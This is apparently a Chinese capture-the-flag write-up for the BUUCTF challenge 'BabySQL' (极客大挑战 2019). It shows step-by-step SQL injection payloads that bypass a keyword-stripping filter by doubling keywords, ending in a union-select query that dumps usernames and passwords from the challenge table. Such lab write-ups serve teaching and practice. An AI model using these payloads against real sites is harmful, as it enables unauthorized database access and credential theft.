buu[极客大挑战 2019]BabySQL 1

相较于旧版本的BabySQL,做了一点过滤。
1'报错
1'#正常回显
由此判断存在注入
构造语句:
1' or 1=1#回显报错为'1=1#'
判断有可能是用str_replace函数替换了敏感词
尝试双写绕过
1' oorr 1=1#正常回显,成功绕过
继续注入
1' oorrder by 3#回显报错'der 3',说明过滤了by
1' oorrder bbyy 3#回显正常,改变行值判断行数为3
conuite~
1' union select 1,2,3#等尝试以后,发现过滤的关键字有union,select,or,by。兼用双写注入绕过
然后老套路,查看库,表,列。。。
最终的SQL语句为:
1%27+uunionnion+sselectelect+1%2Cgroup_concat(concat_ws(':',id,username,passwoorrd))%2C3 ffromrom b4bsql%23
成功解出flag。

TAG:none

发表新评论